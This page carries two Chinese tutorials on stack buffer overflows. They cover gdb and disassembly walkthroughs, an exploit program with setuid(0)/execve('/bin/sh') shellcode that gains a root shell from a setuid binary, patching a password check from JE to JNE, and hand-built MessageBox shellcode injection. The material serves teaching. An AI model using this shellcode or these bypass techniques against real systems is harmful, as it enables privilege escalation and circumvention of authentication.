精华内容
下载资源
问答
  • C语言缓冲区溢出实例

    2015-06-05 16:10:26
    自己动手实现的缓冲区溢出实例,参考0Day安全,整个文档包含5个部分的代码,分别如下: 1.反汇编修改程序的例子 2.1-缓冲区溢出-修改邻接变量 2.2-缓冲区溢出-修改执行流程 2.3-缓冲区溢出-植入代码 寻找messagebox...
  • 缓冲区溢出系列二之缓冲区溢出实例详解 在上一篇中我们详细的介绍了程序运行时,尤其是函数调用时的内存情况,从内存映像方面阐述了缓冲区溢出的机理。这次,我们就一个缓冲区溢出实例进行分析,旨在使读者看完...
    缓冲区溢出系列二之缓冲区溢出实例详解

    在上一篇中我们详细的介绍了程序运行时,尤其是函数调用时的内存情况,从内存映像方面阐述了缓冲区溢出的机理。这次,我们就一个缓冲区溢出实例进行分析,旨在使读者看完这篇文章后能够很轻松的自己实现一次缓冲区溢出的攻击实验。
    首先需要声明几点:
    1。本人gcc版本是4.3.2,而gcc从版本4以后就已经加上了缓冲区溢出攻
    击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢
    出保护。当然,也可以在更低版本的gcc中实现。
    2。在具体做实验时,可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,
    这就给初次做实验的读者构成了很大的不便,可以执行这个命令echo "0" >
    /proc/sys/kernel/randomize_va_space
    ,使每次gdb调试时,分配给程序的虚拟地址空间都一样。当然,执行命令前,你要切换到root权限。
    3。这篇文章是作者的一次缓冲区溢出实验的全过程,实际情况可能根据个人机器的不同而稍微有所差异,所以读者在自己做实验时,要针对个人的不同情况而实际的进行分析。
    4。缓冲区溢出攻击目标程序p.c和攻击程序vulFuc.c都是
    [url=http://www.newsmth.net/bbstcon.php?board=KernelTech&gid=35][color="#0000ff"]這里[/color][/url]
    找的,而作者只是实现了一下而已。主要是想把自己的实践经历拿出来和大家分享。
    好了,废话少说,正式上路,首先来看一段有问题的程序:
    #include
    #include
    void vulFunc(char* s)
    {
    char buf[10];
    strcpy(buf, s);
    printf("String=%s\n", buf);
    }
    main(int argc, char* argv[])
    {
    if(argc == 2)
    {
    vulFunc(argv[1]);
    }
    else
    {
    printf("Usage: %s \n", argv[0]);
    }
    }

    稍微有点儿C知识的人都可以看懂这段代码,这段代码的问题就出在strcpy(buf, s)这条语句上,它将s拷贝到buf中,而没有对s的长度进行限制,这就给缓冲区溢出攻击提供了可乘之计。我们要做的第一步就是编译这段代码gcc -o p p.c -fno-stack-protector -g,然后跟进内存弄清楚缓冲区溢出的机理,跟内存的最好方式当然就是gdb跟踪调试了。这里如果读者对函数调用时内存情况还不太了解的话,可以先看看上一篇
    [url=http://blog.chinaunix.net/u2/86590/showart_1671119.html]《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》[/url]

    对函数main和vulFun反汇编

    (gdb) disas main
    Dump of assembler code for function main:
    0x08048421 : lea 0x4(%esp),%ecx
    0x08048425 : and $0xfffffff0,%esp
    0x08048428 : pushl -0x4(%ecx)
    0x0804842b : push %ebp
    0x0804842c : mov %esp,%ebp
    0x0804842e : push %ecx
    0x0804842f : sub $0x14,%esp
    0x08048432 : mov %ecx,-0xc(%ebp)
    0x08048435 : mov -0xc(%ebp),%eax
    0x08048438 : cmpl $0x2,(%eax)
    0x0804843b : jne 0x8048452
    0x0804843d : mov -0xc(%ebp),%edx
    0x08048440 : mov 0x4(%edx),%eax
    0x08048443 : add $0x4,%eax
    0x08048446 : mov (%eax),%eax
    0x08048448 : mov %eax,(%esp)
    0x0804844b : call 0x80483f4
    0x08048450 : jmp 0x804846a
    0x08048452 : mov -0xc(%ebp),%edx
    0x08048455 : mov 0x4(%edx),%eax
    0x08048458 : mov (%eax),%eax
    0x0804845a : mov %eax,0x4(%esp)
    0x0804845e : movl $0x804854b,(%esp)
    0x08048465 : call 0x804832c
    0x0804846a : add $0x14,%esp
    0x0804846d : pop %ecx
    0x0804846e : pop %ebp
    0x0804846f : lea -0x4(%ecx),%esp
    0x08048472 : ret
    End of assembler dump.
    (gdb) disas vulFunc
    Dump of assembler code for function vulFunc:
    0x080483f4 : push %ebp
    0x080483f5 : mov %esp,%ebp
    0x080483f7 : sub $0x18,%esp
    0x080483fa : mov 0x8(%ebp),%eax
    0x080483fd : mov %eax,0x4(%esp)
    0x08048401 : lea -0xa(%ebp),%eax
    0x08048404 : mov %eax,(%esp)
    0x08048407 : call 0x804831c
    0x0804840c : lea -0xa(%ebp),%eax
    0x0804840f : mov %eax,0x4(%esp)
    0x08048413 : movl $0x8048540,(%esp)
    0x0804841a : call 0x804832c
    0x0804841f : leave
    0x08048420 : ret
    End of assembler dump.

    好了,我们有点儿耐心来详细的分析一下这两段汇编代码。相信到本篇末尾,你会对这两段汇编代码再熟悉不过了。
    先看看在执行main函数以前内存的情况:设置断点到main函数处b *0x08048421 ,执行程序r AAAAAAAA,(这里语句后面的都是相应的命令,如果没有特殊解释的话),看看寄存器的情况:
    (gdb) b *0x08048421
    Breakpoint 1 at 0x8048421: file p.c, line 18.
    (gdb) r AAAAAAAA
    Starting program: /home/xulei/bufferoverflow/p AAAAAAAA
    Breakpoint 1, main (argc=114472, argv=0x0) at p.c:18
    18 {
    (gdb) i r
    eax 0xbffff594 -1073744492
    ecx 0xf76c9569 -143878807
    edx 0x2 2
    ebx 0xb7fcbff4 -1208172556
    esp 0xbffff50c 0xbffff50c
    ebp 0xbffff568 0xbffff568
    esi 0x8048490 134513808
    edi 0x8048340 134513472
    eip 0x8048421 0x8048421
    eflags 0x246 [ PF ZF IF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    这里,我们重点关注的对象是基址寄存器ebp和和指针寄存器esp。可以看到ebp是 0xbffff568,esp是0xbffff50c。上一篇
    [url=http://blog.chinaunix.net/u2/86590/showart_1671119.html]《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》[/url]
    中有提到,当程序被操作系统调入内存运行, 其相对应的进程在内存中的映像如下图所示:

    (内存高端)
    +--------------------+
    +不需要关心的内存 +
    +--------------------+
    + Env String (环境变量字符串) +
    +--------------------+
    + Argv String (命令行参数字符串) +
    +--------------------+
    +Env Pointers (环境变量指针) +
    +--------------------+
    + Argv Pointers (命令行参数指针) +
    +--------------------+
    +Argc (命令行参数个数) +
    +--------------------+
    +main函数的栈帧 +
    +--------------------+
    +func_1的栈帧 +
    +--------------------+
    +func_2的栈帧 +
    +--------------------+
    +func_3的栈帧 +
    +--------------------+
    +Stack (栈) +
    +--------------------+
    +Heap (堆) +
    +--------------------+
    +BSS data (非初始化数据区) +
    +--------------------+
    +INIT data (初始化数据区) +
    +--------------------+
    +Text (文本区) +
    +--------------------+
    (内存低端)

    我们来看看是不是这回事
    (gdb) x/10x $esp
    0xbffff50c: 0xb7e88685 0x00000002 0xbffff594 0xbffff5a0
    0xbffff51c: 0xb7fe2b38 0x00000001 0x00000001 0x00000000
    0xbffff52c: 0x0804824b 0xb7fcbff4
    可以看到,0xbffff510的内容是 0x00000002,即命令行参数的个数,那么0xbffff514的内容 0xbffff594肯定就是存放命令行参数指针的地方了,看看猜的对不对
    (gdb) x/x 0xbffff594
    0xbffff594: 0xbffff6ef
    内存0xbffff594里面存放的是命令行参数指针0xbffff6ef
    (gdb) x/2s 0xbffff6ef
    0xbffff6ef: "/home/xulei/bufferoverflow/p"
    0xbffff70c: "AAAAAAAA"
    呵呵,果然是我们的命令行参数。那0xbffff518的内容 0xbffff5a0就是环境变量指针
    (gdb) x/x 0xbffff5a0
    0xbffff5a0: 0xbffff715
    内存0xbffff5a0里面存放的是环境变量指针0xbffff715
    (gdb) x/8s 0xbffff715
    0xbffff715: "GPG_AGENT_INFO=/tmp/seahorse-3G4y3W/S.gpg-agent:9888:1"
    0xbffff74c: "TERM=xterm"
    0xbffff757: "DESKTOP_STARTUP_ID="
    0xbffff76b: "SHELL=/bin/bash"
    0xbffff77b: "XDG_SESSION_COOKIE=e0c8381229b3540e506e5b0448907cec-1227663840.890182-732694139"
    0xbffff7cb: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/xulei/.gtkrc-1.2-gnome2"
    0xbffff805: "WINDOWID=41943284"
    0xbffff817: "USER=xulei"
    也猜对了。
    但0xbffff50c里面的内容 0xb7e88685是什么呢?根据经验我猜是main函数返回时的返回地址,也就是调用main函数的函数的下一条指令的地址。呵呵,有点儿绕口。相信看完这篇文章后你也就会有这样的经验了。

    接下来我们来分析main函数反汇编后的头几条语句

    0x08048421 : lea 0x4(%esp),%ecx
    0x08048425 : and $0xfffffff0,%esp
    0x08048428 : pushl -0x4(%ecx)
    0x0804842b : push %ebp
    0x0804842c : mov %esp,%ebp

    首先将%esp+0x4给%ecx,esp现在为0xbffff50c,那么
    ecx里的内容就是0xbffff510;让后将esp和$0xfffffff0相与,结构是esp变为0xbffff500,即将栈指针向后移动0xc
    个字节;再将ecx-0x4(即0xbffff50c)里的内容0xb7e88685压栈,那么此时esp就变成了0xbffff4fc,而
    0xbffff500里的内容是 0xb7e88685,然后再将原ebp压栈,此时esp为0xbffff4f8;而最后一条语句将赋值给ebp,此时ebp也为0xbffff4f8。执行完这几条语句后寄存器的情况为
    (gdb) i r
    eax 0xbffff594 -1073744492
    ecx 0xbffff510 -1073744624
    edx 0x2 2
    ebx 0xb7fcbff4 -1208172556
    esp 0xbffff4f8 0xbffff4f8
    ebp 0xbffff4f8 0xbffff4f8
    esi 0x8048490 134513808
    edi 0x8048340 134513472
    eip 0x804842e 0x804842e
    eflags 0x386 [ PF SF TF IF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    可以看出esp和ebp都是 0xbffff4f8。
    相应的内存情况为
    (gdb) x/10x $esp
    0xbffff4f8: 0xbffff568 0xb7e88685 0x08048490 0x08048340
    0xbffff508: 0xbffff568 0xb7e88685 0x00000002 0xbffff594
    0xbffff518: 0xbffff5a0 0xb7fe2b38
    其中内存0xbffff4f8里的内容为原ebp的值 0xbffff568,内存0xbffff4fc里内容为 0xb7e88685,和0xbffff50c中的一样,都为main函数的返回地址。
    所以前面几行代码的意思就是压入main函数的返回地址,压入原ebp。看过上篇《缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理》的读者都知道,函数调用时栈帧结构为

    (内存高端)
    +--------------------+
    + 参数一 +
    +--------------------+
    + 参数二 +
    +--------------------+
    + 。。。。。。 +
    +--------------------+
    + 参数N +
    +--------------------+
    + RET +
    +--------------------+
    + 原ebp +
    +--------------------+
    + local param N +
    +--------------------+
    + 。。。。。。 +
    +--------------------+
    + local param 二 +
    +--------------------+
    + local param 一 +
    +--------------------+
    (内存低端)

    所以也就不难理解上面的几行代码的意义了。
    再向下看

    0x0804842e : push %ecx
    0x0804842f : sub $0x14,%esp
    0x08048432 : mov %ecx,-0xc(%ebp)
    0x08048435 : mov -0xc(%ebp),%eax
    0x08048438 : cmpl $0x2,(%eax)
    0x0804843b : jne 0x8048452
    我们来一条一条分析,
    push %ecx,将ecx压栈
    sub $0x14,%esp ,将esp减去0x14个字节,为后面存储留出空间。此时esp为0xfffff4e0
    mov %ecx,-0xc(%ebp)
    mov -0xc(%ebp),%eax
    cmpl $0x2,(%eax)
    这三条指令是将ecx的内容给eax,这时,ecx、eax和内存%ebp-0xc里的内容都是 0xbffff510,
    如下所示:
    (gdb) i r
    eax 0xbffff510 -1073744624
    ecx 0xbffff510 -1073744624
    (gdb) x/x $ebp-0xc
    0xbffff4ec: 0xbffff510
    而 内存地址0xbffff510里面的内容正是命令行参数个数2
    (gdb) x/x 0xbffff510
    0xbffff510: 0x00000002

    然后判断eax所存地址里的内容是否等于2,对应于C源代码中的if(argc == 2)这一条。显然这里是等于2的,所以我们先不跳转,再往下看

    0x0804843d : mov -0xc(%ebp),%edx
    0x08048440 : mov 0x4(%edx),%eax
    0x08048443 : add $0x4,%eax
    0x08048446 : mov (%eax),%eax
    0x08048448 : mov %eax,(%esp)
    首先将内存地址(ebp-0xc)里面的内容给edx,所以此时edx里面的内容是 0xbffff510(即命令行参数个数2的地址)
    然后将内存地址(edx+0x4)即0xbffff514里面的内容送eax,可以看看内存
    (gdb) x/x 0xbffff514
    0xbffff514: 0xbffff594
    此时eax就变成了0xbffff594,看看寄存器
    (gdb) i r
    eax 0xbffff594 -1073744492
    然后add $0x4,%eax,eax变成0xbffff598,而0xbffff598里面是什么呢?
    (gdb) x/x 0xbffff598
    0xbffff598: 0xbffff70c
    (gdb) x/s 0xbffff70c
    0xbffff70c: "AAAAAAAA"
    原来是将存放AAAAAAAA的首地址的内存地址送给eax。
    mov (%eax),%eax,eax这次eax就是 AAAAAAAA首地址0xbffff70c了
    mov %eax,(%esp),将esp所指内存地址的内容赋值为eax里的内容,即0xbffff70c
    (gdb) i r
    eax 0xbffff70c -1073744116
    ecx 0xbffff510 -1073744624
    edx 0xbffff510 -1073744624
    ebx 0xb7fcbff4 -1208172556
    esp 0xbffff4e0 0xbffff4e0
    esp为 0xbffff4e0,
    (gdb) x/x 0xbffff4e0
    0xbffff4e0: 0xbffff70c
    而通过前面栈帧结构的分析我们可以很清楚的知道,栈帧中在命令行参数个数的前面应该存放的是命令行参数指针,既然内存0xbffff510
    里面存放的是命令行参数的个数,那么内存0xbffff514里面放的就应该是指向命令行参数的指针了。其实这个内存的内容前面已经给大家看过了,这里不妨再重放一次,
    (gdb) x/x 0xbffff510
    0xbffff510: 0x00000002
    (gdb) x/x 0xbffff514
    0xbffff514: 0xbffff594
    (gdb) x/x 0xbffff594
    0xbffff594: 0xbffff6ef
    (gdb) x/2s 0xbffff6ef
    0xbffff6ef: "/home/xulei/bufferoverflow/p"
    0xbffff70c: "AAAAAAAA"
    (gdb) x/x 0xbffff598
    0xbffff598: 0xbffff70c
    (gdb) x/s 0xbffff70c
    0xbffff70c: "AAAAAAAA"
    相信如果还有参数BBBBBBBB的话,那么0xbffff59c里面存放的就是BBBBBBBB的首地址。
    这回清楚多了吧。
    总结一下上一段代码的意思就是把AAAAAAAA的首地址压入esp所指的内存
    中,也即是将函数vulFunc的参数压入内存,下一步当然就是调用函数vulFunc了。为什么要把参数AAAAAAAA的首址压如esp所指内存后才
    调用vulFunc呢?还记得我们的栈帧结构吧。

    (内存高端)
    +--------------------+
    + 参数一 +
    +--------------------+
    + 参数二 +
    +--------------------+
    + 。。。。。。 +
    +--------------------+
    + 参数N +
    +--------------------+
    + RET +
    +--------------------+
    + 原ebp +
    +--------------------+
    + local param N +
    +--------------------+
    + 。。。。。。 +
    +--------------------+
    + local param 二 +
    +--------------------+
    + local param 一 +
    +--------------------+
    (内存低端)
    压入参数是调用函数做得事情,压入返回地址RET是调用call指令时系统自动完成的,而压入原ebp和将参数拷贝到被调用函数的地址空间中是由被调用函数做的,最起码我的机器是这样的。

    然后就是调用函数这条命令了,
    0x0804844b : call 0x80483f4
    让我们再走进函数vulFunc,来看看到底应该怎样利用strcpy的漏洞。
    设置断点到vulFunc函数的代码首址,然后continue,
    (gdb) b *0x080483f4
    Breakpoint 2 at 0x80483f4: file p.c, line 11.
    (gdb) c
    Continuing.
    Breakpoint 2, vulFunc (s=0xbffff70c "AAAAAAAA") at p.c:11
    11 {
    看看寄存器内容
    (gdb) i r
    eax 0xbffff70c -1073744116
    ecx 0xbffff510 -1073744624
    edx 0xbffff510 -1073744624
    ebx 0xb7fcbff4 -1208172556
    esp 0xbffff4dc 0xbffff4dc
    ebp 0xbffff4f8 0xbffff4f8
    esi 0x8048490 134513808
    edi 0x8048340 134513472
    eip 0x80483f4 0x80483f4
    eflags 0x282 [ SF IF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    ebp还是没变 0xbffff4f8,而esp则减少了4个字节,从0xbffff4e0 变成了 0xbffff4dc,那么到底增加了什么内容呢?
    (gdb) x/x $esp
    0xbffff4dc: 0x08048450
    呵呵,看看文章开头main函数反汇编后的汇编代码,不难找到0x08048450正是call 0x80483f4 后面的那条语句,就函数vulFunc的返回地址,看来压入返回地址的确是call指令自动完成的。
    那么下面该压入原ebp了。

    0x080483f4 : push %ebp
    0x080483f5 : mov %esp,%ebp

    这两条指令就不讲了,列一下寄存器的内容吧:
    (gdb) i r
    eax 0xbffff70c -1073744116
    ecx 0xbffff510 -1073744624
    edx 0xbffff510 -1073744624
    ebx 0xb7fcbff4 -1208172556
    esp 0xbffff4d8 0xbffff4d8
    ebp 0xbffff4d8 0xbffff4d8
    此时ebp和esp都是 0xbffff4d8,而内存0xbffff4d8里面的内容据不言而喻了。
    再向下看

    0x080483f7 : sub $0x18,%esp
    0x080483fa : mov 0x8(%ebp),%eax
    0x080483fd : mov %eax,0x4(%esp)
    0x08048401 :lea -0xa(%ebp),%eax
    0x08048404 :mov %eax,(%esp)

    首先esp减去0x18,给后面要存入内存的数据流出空间。
    下面两句是将(ebp+8)的地址里的内容送到(esp+4)里边去。但esp+8里面放的是什么呢?
    看一下:
    x/10x $ebp
    0xbffff4d8: 0xbffff4f8 0x08048450 0xbffff70c 0x08049ff4
    0xbffff4e8: 0xbffff508 0xbffff510 0xb7ff0f50 0xbffff510
    0xbffff4f8: 0xbffff568 0xb7e88685
    是 0xbffff70c,即AAAAAAAA的首地址。
    (gdb) x/10x $esp
    0xbffff4c0: 0x00000000 0xbffff70c 0xbffff6ef 0xb7ee0dae
    0xbffff4d0: 0xb7f8f849 0x08049ff4 0xbffff4f8 0x08048450
    0xbffff4e0: 0xbffff70c 0x08049ff4
    可以看出内存(esp+0x4)里面的确放入了 0xbffff70c
    下面两条指令是将ebp的内容减去0xa放入esp中,结果是
    (gdb) x/10x $esp
    0xbffff4c0: 0xbffff4ce 0xbffff70c 0xbffff6ef 0xb7ee0dae
    0xbffff4d0: 0xb7f8f849 0x08049ff4 0xbffff4f8 0x08048450
    0xbffff4e0: 0xbffff70c 0x08049ff4
    寄存器esp所指向的内存的内容为 0xbffff4ce。
    这是干什么呢?呵呵,将esp所指向的内存的内容改为 0xbffff4ce实际上对应这条语句:char buf[10];
    即为局部变量buf申请内存,内存的首地址是 0xbffff4ce。这下明白了吧。
    总结一下上一段代码的含义,其实上一段代码是给调用strcpy做准备的。strcpy需要两个参数buf和s。而现在esp所指向的内存为buf首址,esp+4所指的内存为s的首址。好了,根据函数调用时栈帧结构,两个参数都压栈了,下来该调用函数strcpy了。
    0x08048407 :call 0x804831c
    我们不关心具体是怎么拷贝的,我们只是想看一看到底拷贝后的结果是什么?直接越过此函数调用。
    (gdb) b *0x0804840c
    Breakpoint 3 at 0x804840c: file p.c, line 14.
    (gdb) c
    Continuing.
    Breakpoint 3, vulFunc (s=0xbffff70c "AAAAAAAA") at p.c:14
    14 printf("String=%s\n", buf);
    (gdb) x/10x $esp
    0xbffff4c0: 0xbffff4ce 0xbffff70c 0xbffff6ef 0x41410dae
    0xbffff4d0: 0x41414141 0x08004141 0xbffff4f8 0x08048450
    0xbffff4e0: 0xbffff70c 0x08049ff4
    可以看出从esp的内容0xbffff4ce
    所对应的内存地址开始向内存高端拷贝了8个A(0x41)和一个字符结束符\0。这正是我们的焦点,也正是我们缓冲区溢出攻击所要利用的地方。如果我们传
    进去的不是8个A,而是其他内容,那么很可能就覆盖了返回地址
    0x08048450,如果要拷贝的内容处理得当的话(比如上篇讲的shellcode),那么得到一个超级权限的shell也自然不在话下。

    其实,花了这么大的篇幅,还是向大家介绍了缓冲区溢出攻击时内存中栈的使用情况,只不过这次是真枪实弹的经历了一次。上一篇只是一些原理性的介绍而已。

    好了,枯燥的内存情况就分析到这里吧。其实还有好多东西可以继续挖掘,只是要是再深究的话就偏离我们的主题了。

    下来就轮到我们的攻击了。
    我们先给一段攻击的C代码,这段代码也在这里可以找到,是别人写好的,我只是拿过来用,所以还是保留原作者的版权。


    /*
    * 文件名 : myex.c
    * 编译 : gcc -o myex myex.c
    *
    * 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
    * 有问题的程序p的程序示范源代码
    * 有关程序p的源代码请参见同一文章中的p.c
    * 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
    *
    * 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
    * 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
    *
    * 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
    *
    */
    #include
    #include
    #include
    #include
    #define RET_DIS 14 // Displacement to replace the return address
    #define NOP 0x90 // Machine code for no operation
    #define NNOP 100 // Number of NOPs
    #define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)
    char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    int get_esp()
    {
    __asm__("mov %esp, %eax");
    }
    int main(int argc, char **argv)
    {
    char* charPtr = NULL;
    char* bufferPtr = NULL;
    int* intPtr = NULL;
    int shellCodeLength = strlen(shellCode);
    int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
    int retAddr = 0;
    int adjustment = 0;
    int i;
    int esp = get_esp();
    if(argc >= 2)
    {
    adjustment = atoi(argv[1]);
    }
    retAddr = esp + ESP_RET_DIFF + adjustment;
    bufferPtr = (char *) malloc(bufferSize);
    if(bufferPtr != NULL)
    {
    /* Fill the whole buffer with 'A' */
    memset(bufferPtr, 0x41, bufferSize);
    /* Butt in our return address */
    intPtr = (int *) (bufferPtr + RET_DIS);
    *intPtr++ = retAddr;
    charPtr = (char *) intPtr;
    /* To increase the probabilty of hitting the jackpot */
    for(i=0; i

    稍微解释一下这段代码吧。
    shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
    想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击
    也就完成了。至于shellcode的编写以后有时间再讲。
    这段代码的核心就是填充bufferptr所指向的buffSize个内存块。Bufferptr是由以下四个部分组成的:
    长度为RET_DIS的字符A+返回地址+若干个NOP+shellcode
    这个RET_DIS该怎么确定呢?回头看一看我们分析到最后的内存情况:
    (gdb) x/10x $esp
    0xbffff4c0: 0xbffff4ce 0xbffff70c 0xbffff6ef 0x41410dae
    0xbffff4d0: 0x41414141 0x08004141 0xbffff4f8 0x08048450
    0xbffff4e0: 0xbffff70c 0x08049ff4
    strcpy(buf,s)中的buf首址为0xbffffca,存放返回地址
    0x08048450的内存块为0xbffff4dc,所以我们的RET_DIS应该等于0xbffff4dc—0xbffffca=0x12,即18,
    这个要在myex.c的源代码改过来。当然如果你作实验的话,也要根据你的情况改成正确的值。
    这个返回地址就不好确定了,只能靠ESP_RET_DIFF 和adjustment来调整了,只要能对应到后面的NOP和shellcode首址的任何一个内存块就行。
    这里还想说的就是当我们执行myex.c时,我们是用execl("./p",
    "p", bufferPtr,
    NULL);来调用程序p的,所以我们无法知道p执行时esp和ebp的情况,我们只知道myex.c运行时的esp和ebp,但是这两个esp(或
    ebp)之间肯定是有一定的内存距离,只是我们不知道罢了,所以这就需要我们去猜。

    来看看执行的效果吧。
    先将程序p进行setuid
    bash$ su root
    Password:
    bash# chmod 4555 p
    bash# ls -l p
    -r-sr-xr-x 1 root sys 11941 Apr 28 18:31 p
    bash# exit
    然后执行myex
    xulei@xulei-desktop:~/bufferoverflow$ id
    uid=1000(xulei) gid=1000(xulei) 组=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
    107(fuse),109(lpadmin),115(admin),1000(xulei)
    xulei@xulei-desktop:~/bufferoverflow$ ./myex
    ebp=0xbffff4f8esp=0xbffff4f4, adjustment=0, jump to 0xbffff4f4. Have fun!
    String=AAAAAAAAAAAAAA



















    ذ#̀ #^ 1 F
    F

    V
    ̀1ۉ @̀
    /bin/sh
    # id
    uid=0(root) gid=1000(xulei) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
    107(fuse),109(lpadmin),115(admin),1000(xulei)
    #
    可以看到执行后的id变为root,哈哈,得到超级权限的shell了,bingo!
    [img]http://www.cublog.cn/images/face/002.gif[/img]
    展开全文
  • C语言实现缓冲区溢出实例

    万次阅读 2015-06-05 15:58:20
    C语言简单实现缓冲区溢出,安全相关。

    参考书目:0day安全:软件漏洞分析技术
    相关工具使用:OD,IDA Pro,VC++6.0,UltraEdit

    最近需要做课堂演习,就选了缓冲区溢出的实践。主要参考0day安全这本书,一面一句话很经典:
    To be the apostrophe which changed Impossible into I’m possible!

    直接步入正题:

    1. 反汇编修改程序

    在实现缓冲区溢出之前,简单熟悉一下反汇编重用的两个软件,OD和IDA,用OD修改程序代码实例。

    #include <stdio.h>
    #define PASSWORD "1234567"
    int verify(char *password)
    {
        int auth;
        auth = strcmp(password, PASSWORD);
        return auth;
    }
    
    int main(void){
        int flag = 0;
        char pass[1024];
        while(1){
            printf("enter the password:\t");
            scanf("%s", pass);
            flag = verify(pass);
            if(flag)
                printf("password incorrect!\n");
            else{
                printf("congratulation!\n");
                break;
            }
        }
    }
    

    代码就是简单验证输入密码是否正确,首先用IDA打开编译生成的应用程序。看到这样一个图(好像每次打开生成的东西都不太一样~)
    这里写图片描述
    如果看不到地址可以在Options->General在Line prefixes前打钩以及将Number of opcode bytes设置为6就可以了。这样就可以找到代码中相应的跳转部分,然后用OD打开对应的EXE文件,看到下图:
    这里写图片描述
    找到004010D5这条命令就是对应的判断地方了,对应的汇编命令为:

    JE X1.004010E6

    于是将JE改成JNE,再运行程序,这时发现原来正确的密码不正确,原来错误密码都可以通过!用OD还可以对程序保存,一个简单的破解就完成了。(OD保存软件不会的话可以网上搜一下,我当时没搞懂还是请教的大神)

    2. 缓冲区溢出漏洞修改邻接变量

    还是刚刚的类似程序,假如程序员一不小心或者因为要在其他地方使用字符串,加了个strcpy函数,验证函数如下所示:

    int verify(char *password)
    {
        int auth;
        char buffer[8];
        auth = strcmp(password, PASSWORD);
        strcpy(buffer, password);
        return auth;
    }
    看似还是正常的一个程序却会发生不可思议的事情,不信运行程序输入qqqqqqqq试试,发现没,通过验证了!这是为什么呢?来看看栈里面数据的存放:
    

    这里写图片描述
    啊,原来是这样啊,输入qqqqqqqq,或者输入其他8位也行(11111111不行,自己探索吧)在strcmp的时候auth确实是1,但是在进行strcpy之后,buffer里面的数据太长了,占了auth的位置,将auth从1改成了0。
    看来下次写程序要注意点了!

    3. 修改程序执行流程

    是看了上面的原理图,是不是懂了点什么!EBP和返回地址是啥?不禁心生恶意,我要是再长点,是不是把返回地址给换了???还有那个EBP啥东西???

    事实上,EBP是PE文件执行时候在函数调用时函数调用前栈底指针,在函数调用时会重新生成一个比较小的栈,此新栈为调用的函数所用,因此需要将之前栈的栈底入栈。在调用新的子程序的时候,也需要将子函数的返回地址入栈,不然子函数执行完了,计算机就不知道下一步执行什么了~

    搞懂了这点知识,我们就可以利用这个来修改程序的执行流程了,具体实验可以自己做。

    4 代码植入

    之前例子的缓冲区较小,正常的函数中如果使用的话,缓冲区可能是比较大的,下面用新的例子来测试缓冲区溢出中的代码植入,完整的代码见上传的文件。

    int verify(char *password)
    {
        int auth;
        char buffer[44];
        auth = strcmp(password, PASSWORD);
        strcpy(buffer, password);
        return auth;
    }

    此次的实验中由于控制台输入的限制性,将输入流改为文本。实验的目的是利用缓冲区溢出漏洞植入代码,代码内容为弹出一个新的窗口。

    int MessageBox(
      HWND hWnd,          // handle of owner window
      LPCTSTR lpText,     // address of text in message box
      LPCTSTR lpCaption,  // address of title of message box
      UINT uType          // style of message box
    );

    上面是MessageBox的四个参数,如果弹出标题和内容都是hellobug的串,四个参数分别为:
    NULL, “hellobug”, “hellobug”, NULL
    根据MessageBox得到应该执行的汇编代码

    Xor ebx, ebx
    Push    ebx
    Push    68656C6Ch
    Push    6F627567h
    Mov eax, esp
    Push    ebx
    Push    eax
    Push    eax
    Push    ebx
    MOV EAX, ADDRESS
    CALL EAX

    最后的Address是MessageBoxA地址,对应的机器码如下:

    33 DB
    53
    68 6C 6C 65 68        //hell
    68 67 75 62 6F        //obug
    8B C4
    53
    50
    50
    53
    B8 ADDRESS
    FF D0

    因为缓冲区有44个字节,而四个字节一组,因此有11组,加上原来的auth,EBP和返回地址,一共14组,每组4个字节。新建一个这样的文件。
    这里写图片描述
    我在执行的过程中最后部分0018FD44就是Buff的起始地址。

    接下来的问题就是buff的起始地址以及MessageBox的入口地址怎么找到呢?

    首先是buff的起始地址,这个比较简单,将该文件写为14组1234,然后在OD里面跑一遍之后可以看到内存里面的数据,这个数据区的起始地址就是就是buff的起始地址。

    然后是MessageBox的入口地址,在0Day安全这本书中有计算过程,我按照这个过程没有实现,因此我自己找了一个方法,有兴趣的同学可以按照书上的计算一下~

    我的试验工程就是新建一个工程,只允许Messagebox然后通过OD查看其入口地址

    #include <stdio.h>
    #include <windows.h>
    
    int main(void)
    {
    
        LoadLibrary("user32.dll");
        MessageBoxA(NULL, "abc", "def", NULL);
        return 0;
    }

    写这样一个简单的程序用OD打开以下就好啦
    这里写图片描述
    找到MessageBox回车之后就进入了,从这个图可以看出入口地址是768EFD1E
    然后整个文件就制作完成了,运行一下看看吧
    这里写图片描述

    以上就是一个简单的缓冲区溢出的实例了,不过在植入代码这个过程中电机确定之后~~就挂了,因为一些参数没有设置好,慢慢再深入研究吧。

    展开全文
